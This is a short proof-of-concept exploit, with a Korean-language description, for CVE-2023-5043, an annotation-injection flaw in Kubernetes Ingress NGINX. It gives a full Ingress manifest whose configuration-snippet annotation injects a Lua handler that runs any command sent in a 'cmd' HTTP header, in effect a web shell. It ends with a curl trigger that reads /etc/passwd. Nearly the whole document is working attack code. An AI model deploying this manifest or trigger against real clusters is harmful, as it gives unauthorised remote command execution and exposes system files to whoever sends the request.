
CVE-2023-5043에 대한 개념 증명 익스플로잇으로, Kubernetes의 Ingress NGINX 어노테이션 주입을 통한 임의 명령 실행을 시연하며, curl 기반 RCE 트리거를 포함합니다.
Ingress nginx 어노테이션 주입으로 인한 임의 명령 실행
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: ingress-exploit
annotations:
kubernetes.io/ingress.class: "nginx"
nginx.ingress.kubernetes.io/configuration-snippet: |
more_set_headers "robinak"
proxy_pass http://upstream_balancer;
proxy_redirect off;
}
location /robinak/ { content_by_lua_block { local rsfile = io.popen(ngx.req.get_headers()["cmd"]);local rschar = rsfile:read("*all");ngx.say(rschar); } } location /fs/{
spec:
rules:
- host: robinak.me
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: exploit
port:
number: 80
curl -v -H 'Host: robinak.me' -H "cmd: cat /etc/passwd" http://IP/robinak/
